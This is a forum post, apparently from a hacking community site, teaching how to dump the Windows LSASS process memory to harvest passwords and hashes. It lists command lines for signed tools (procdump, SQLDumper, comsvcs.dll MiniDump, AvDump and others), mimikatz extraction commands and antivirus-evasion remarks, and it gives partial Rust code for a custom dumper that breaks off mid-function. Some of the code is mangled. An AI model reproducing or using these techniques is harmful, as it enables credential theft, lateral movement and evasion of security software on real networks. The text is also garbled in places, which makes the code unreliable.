Jump to content

Featured Replies

Posted

Preface

lsass.exe (Local Security Authority Subsystem

In the Service process space, there are important information such as the machine's domain, local username and password. If you obtain local high permissions, the user can access LSASS process memory, so that internal data can be exported for horizontal movement and permission escalation. Dumping user passwords or hash through lsas is also an indispensable step in the penetration process. Here we learn the principles and record various dumping methods.

[toc]

General Method

mimikatz::logonpasswords

We usually refer to these tools as LOLBins, which means that attackers can use these binaries to perform operations beyond their original purpose. We focus on programs that export memory in LOLBins.

Whitelist Tool

Three Microsoft signature whitelist programs

Procdump.exe

SQLDumper.exe

createdump.exe

Procdump dump Lsass.exe's memory

ProcDump is a Microsoft signed legal binary file that is provided for dumping process memory. You can download the official ProcDump file in Microsoft documentation

Use Procdump to grab the lsas process dmp file,

procdump64.exe -accepteula -ma lsass.exe lsass_dump

Then you can configure mimikatz to use

sekurlsa:Minidump lsassdump.dmp

sekurlsa:logonPasswords

If you are sensitive to lsass.exe, you can also use it with the lsass.exe pid

procdump64.exe -accepteula -ma pid lsass_dum

This principle is that lsass.exe is the security mechanism of Windows system, mainly used for local security and login policies. Usually, after we enter the password when logging in to the system, the password will be stored in lsass.exe memory. After calling the two modules wdigest and tspkg, it is encrypted using a reversible algorithm and stored in memory. Mimikatz obtains the plaintext password through the inverse calculation of lsass.exe.

Regarding the situation of the detection and killing, the Turvulin virus was not scanned, and 360 was not detected in the 13 version and was found to be detected in the 14 version.

SQLDumper.exe

The Sqldumper.exe utility is included in Microsoft SQL Server. It generates a memory dump for SQL Server and related processes for debugging purposes.

Common paths to sqldumper are as follows

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe

C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe

C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

SQLDumper.exe is included in Microsoft SQL and Office to generate a complete dump file.

tasklist /svc | findstr lsass.exe View the PID number of lsass.exe

Sqldumper.exe ProcessID 00x01100 Export mdmp file

Then locally decrypt it, you need to use the same version of the operating system.

mimikatz.exe 'sekurlsa:minidump SQLDmpr0001.mdmp' 'sekurlsa:logonPasswords full' exit

Killed by 360, turtlene was not detected

createdump.exe

With the emergence of .NET5, it is a native binary itself. Although it has a signature, it was also investigated and killed by AV.

createdump.exe -u -f lsass.dmp lsass[PID]

Will be killed by 360

comsvcs.dll

comsvcs.dll mainly provides COM+ Services services. This file can be found in every Windows system, and the complete dump of the process can be implemented using Rundll32 to execute its export function MiniDump.

This file is a whitelist file. We mainly use the export function APIMiniDump in Comsvsc.dll to achieve the purpose of dumping lsass.exe. Note that administrator permissions are also required. Because you need to enable SeDebugPrivilege permission. In cmd, this permission is disabled by default, and powershell is enabled by default. This file is located in C:\windows\system32\comsvcs.dll

You can use the following method to call MiniDump to achieve dumping lsass.exe process :

powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

360 also checks and kills. This behavior of dumping memory directly by calling APIMiniDump is still too sensitive. It is easy to be checked and killed without slight modification.

Other Tools

rdleakdiag.exe

The default existing system:

Windows 10 Windows 8.1 Windows 8 Windows 7 Windows Vista

Software version 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000

If there is no such thing, you can choose to pass one up.

Generate dmp memory file

rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /wait 1 Rst

Two files will be generated, results*+process pid+.hlk, minidump*+process pid+.dmp. Then use mimikatz to crack it.

AvDump.exe

AvDump.exe is a program that comes with Avast antivirus software. It can be used to dump memory data of a specified process (lsass.exe). It comes with an Avast anti-soft digital signature. So it is generally not killed by AV.

Download address: https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2

It needs to be called in ps, otherwise cmd will not enable seDEBUGPrivilege permission by default, but now 360 will detect avdump.

.\AvDump.exe --pid lsass pid --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

But it will also be killed by 360.

Ownerly edit dll

A demo of calling APIMiniDump

This involves Windows process programming. You can first take a look at how to traverse the processes under Windows. It takes several APIs and a structure to traverse the process.

1. Create a process snapshot

2. Initialize the first process to be traversed

3. Continue to the next traversal

4. Process information structure

Create process using CreateToolhelp32Snapshot

HANDLE WINAPI CreateToolhelp32Snapshot(

DWORD dwFlags, //Used to specify the object to be returned in the "snapshot", which can be TH32CS_SNAPPROCESS, etc.

DWORD th32ProcessID //A process ID number is used to specify which process to obtain a snapshot. When obtaining a list of system processes or obtaining a snapshot of the current process, it can be set to 0.

);

Get the first process handle using Process32First

BOOL WINAPI Process32First(

HANDLE hSnapshot,//_in, process snapshot handle

LPPROCESSENTRY32 lppe//_out, pass in the process information structure, the system will fill in it for you.

);

Get the next process using Process32Next

BOOL WINAPI Process32Next(

HANDLE hSnapshot, handle returned from CreateToolhelp32Snapshot

LPPROCESSENTRY32 lppe Pointer to PROCESSENTRY32 structure, process information structure

);

What also involves the structure of PROCESSENTRY32 is useful to us is

dwSize size of initialization structure th32ProcessId Process IDszExeFile[MAX_PATH] Process path typedef struct tagPROCESSENTRY32 {

DWORD dwSize; //Structure size, must be initialized before the first call;

DWORD cntUsage; //The reference count of this process is 0, the process ends;

DWORD th32ProcessID; //Process ID;

DWORD th32DefaultHeapID; //Process default heap ID;

DWORD th32ModuleID; //Process module ID;

DWORD cntThreads; //count of threads that this process opens;

DWORD th32ParentProcessID;//Parent process ID;

LONG pcPriClassBase; //Thread priority;

DWORD dwFlags; //Reserved;

char szExeFile[MAX_PATH]; //full process name;

} PROCESSENTRY32;

So the code implemented by rust is as follows

fn getProcess(){

unsafe{

let mut handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0);

let mut process_entry : PROCESSENTRY32=zeroed();

process_entry.dwSize=std:mem:size_of:PROCESSENTRY32() as u32;

//let mut process_handle=null_mut();

if !handle.is_null() {

if Process32First(handle, mut process_entry)==1{

loop {

let extFileName=OsString:from_wide(process_entry.szExeFile.iter().map(|x| x as u16).take_while(|x| x 0).collect:Vecu16().as_slice());

println!('{:}----------{:}',extFileName,process_entry.th32ProcessID);

if Process32Next(handle, mut process_entry)==0{

break;

}

}

}

}

}

}

Code for the complete dump lsas process memory

use std:{mem:{ size_of}, ffi:{CStr, OsString, c_void, OsStr}, os:windows:prelude:{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs:File, path:{Path, self}};

use std:ptr;

use clap:{App,Arg};

use log:{error};

use windows_sys:{Win32:{Foundation:{

CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID,

}, Security:{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System:{Threading:OpenProcessToken, Diagnostics:ToolHelp:TH32CS_SNAPTHREAD}, Storage:FileSystem:CreateFileA}, core:PCSTR};

use windows_sys:Win32:Storage:FileSystem:{

CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,

};

use windows_sys:Win32:System:Diagnostics:Debug:{

MiniDumpWithFullMemory, MiniDumpWriteDump

};

use windows_sys:Win32:System:Diagnostics:ToolHelp:{

CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,

};

use windows_sys:Win32:System:SystemServices:GENERIC_ALL;

use windows_sys:Win32:System:Threading:{OpenProcess, PROCESS_ALL_ACCESS};

fn getPrivilege(handle : HANDLE){

unsafe{

let mut h_token: HANDLE=HANDLE:default();

let mut h_token_ptr: *mut HANDLE=mut h_token;

let mut tkp: TOKEN_PRIVILEGES=TOKEN_PRIVILEGES {

PrivilegeCount: 1,

Privileges: [LUID_AND_ATTRIBUTES {

Luid: LUID {

LowPart: 0,

HighPart: 0,

},

Attributes: SE_PRIVILEGE_ENABLED,

}],

};

//Open the access token of the current process

let token=OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);

if token !=0 {

let systemname=ptr:null_mut();

if LookupPrivilegeValueA(

systemname,

b'SeDebugPrivilege\0'.as_ptr(),

mut tkp.Privileges[0].Luid) !=0 {

tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

//println!('{:}',tkp.Privileges[0].Attributes);

//Improve SeDebugPrivilege permissions for the current process

if AdjustTokenPrivileges(

h_token,

0,

tkp as *const TOKEN_PRIVILEGES,

0,

ptr:null_mut(),

ptr:null_mut()) !=0 {

println!('Token privileges adjusted successfully');

} else {

let last_error=GetLastError();

println!('AdjustTokenPrivileges failed with error: STATUS({:})', last_error);

}

} else {

let last_error=GetLastError();

println!('LookupPrivilegeValue failed with error: STATUS({:})', last_error);

}

//Close the access token handle

CloseHandle(h_token);

} else {

let last_error=GetLastError();

println!('OpenProcessToken failed with error: STATUS({:})', last_error);

}

}

}

fn getProcess(LsassFile : str) {

unsafe{

let mut h_snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if h_snapshot==INVALID_HANDLE_VALUE {

println!('Failed to call CreateToolhelp32Snapshot');

}

let mut process_entry: PROCESSENTRY32=std:mem:zeroed:PROCESSENTRY32();

process_entry.dwSize=size_of:PROCESSENTRY32() as u32;

if Process32First(h_snapshot, mut process_entry)==0 {

println!('Process32First error');

}

loop {

let extFileName=CStr:from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();

let extfile=OsString:from_wide(extFileName.iter().map(|x| x as u16).collect:Vecu16().as_slice()).to_string_lossy().into_owned();

if extfile.starts_with('lsass.exe'){

println!('[+] Got {:} PID: {:}',extfile,process_entry.th32ProcessID);

break;

}

if Process32Next(h_snapshot, mut process_entry)==0 {

println!('Failed to call Process32Next');

break;

}

}

let lsass_pid=process_entry.th32ProcessID;

let process_handle=OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid);

if process_handle==0 {

println!('Fail to open the process ');

}

let lsassFile=LsassFile;

let lsassFile: Vecu16=OsStr:new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect();

let lsasshandle=CreateFileW(

lsassFile.as_ptr() as *const u16,

GENERIC_ALL,

0,

ptr:null_mut(),

CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL,

0,

);

if lsasshandle==INVALID_HANDLE_VALUE {

println!('Fail to open/create file {:}',LsassFile.to_string());

}

let result=MiniDumpWriteDump(

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.